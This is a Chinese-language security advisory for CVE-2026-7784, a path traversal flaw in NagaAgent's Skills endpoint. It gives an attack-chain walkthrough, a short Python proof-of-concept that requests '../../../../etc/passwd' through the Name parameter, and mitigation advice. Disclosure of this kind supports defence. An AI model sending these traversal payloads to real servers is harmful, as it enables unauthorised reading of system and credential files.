IPBUF安全漏洞报告
English
CVE-2026-7784 CVSS 7.3 高危

CVE-2026-7784 RTGS2017 NagaAgent 路径遍历漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-7784
漏洞类型
路径遍历
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RTGS2017 NagaAgent

相关标签

路径遍历CVE-2026-7784RTGS2017NagaAgentPython远程漏洞

漏洞概述

RTGS2017 NagaAgent 5.1.0及之前版本在Skills Endpoint组件中存在安全漏洞。该漏洞源于文件apiserver/routes/extensions.py对参数Name的处理不当,导致路径遍历。攻击者无需认证即可远程利用此漏洞,通过构造恶意参数遍历服务器文件系统,可能造成敏感信息泄露。目前厂商尚未回应修复请求,且利用代码已公开,风险较高。

技术细节

该漏洞位于RTGS2017 NagaAgent的API服务端逻辑中,具体受影响文件为`apiserver/routes/extensions.py`。在处理Skills Endpoint的请求时,程序未能正确过滤用户输入的“Name”参数。由于缺乏有效的路径规范化校验(如未过滤`../`或绝对路径字符),攻击者可以通过构造特制的恶意请求,利用该参数遍历服务器的文件系统。根据CVSS向量(AV:N/AC:L/PR:N/UI:N/S:U),攻击者无需用户交互和身份认证即可从网络发起攻击。尽管影响范围被定义为对机密性、完整性和可用性影响较低(C:L/I:L/A:L),但在特定配置下,攻击者可能读取敏感配置文件或写入恶意数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标服务器运行的是RTGS2017 NagaAgent 5.1.0或更早版本。
STEP 2
2. 漏洞探测
攻击者向Skills Endpoint发送带有特制Name参数(如'../../../../etc/passwd')的请求,验证是否存在路径遍历漏洞。
STEP 3
3. 恶意利用
由于无需认证且无用户交互,攻击者利用该漏洞读取服务器上的敏感文件(如配置文件、密钥)或进行文件操作。
STEP 4
4. 后果达成
攻击者成功获取敏感信息,为进一步的攻击(如权限提升)奠定基础,影响系统的机密性、完整性和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_path_traversal(url): """Check for Path Traversal vulnerability in CVE-2026-7784""" target_endpoint = f"{url.rstrip('/')}/api/skills" # Common payload to read /etc/passwd on Linux payload = { "Name": "../../../../etc/passwd" } try: print(f"[+] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=payload, timeout=10) if response.status_code == 200: if "root:" in response.text: print("[!] Potential Path Traversal found! Server responded with /etc/passwd content.") print(f"[+] Response snippet:\n{response.text[:200]}") else: print("[-] Request sent, but no standard file content detected.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[x] Error during request: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1:8080" check_path_traversal(target)

影响范围

RTGS2017 NagaAgent <= 5.1.0

防御指南

临时缓解措施
建议立即通过网络ACL或防火墙限制对`/api/skills`接口的外部访问,或在应用层面对参数Name进行正则匹配过滤,禁止包含“../”、“%2e%2e”等路径跳转字符的请求通过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表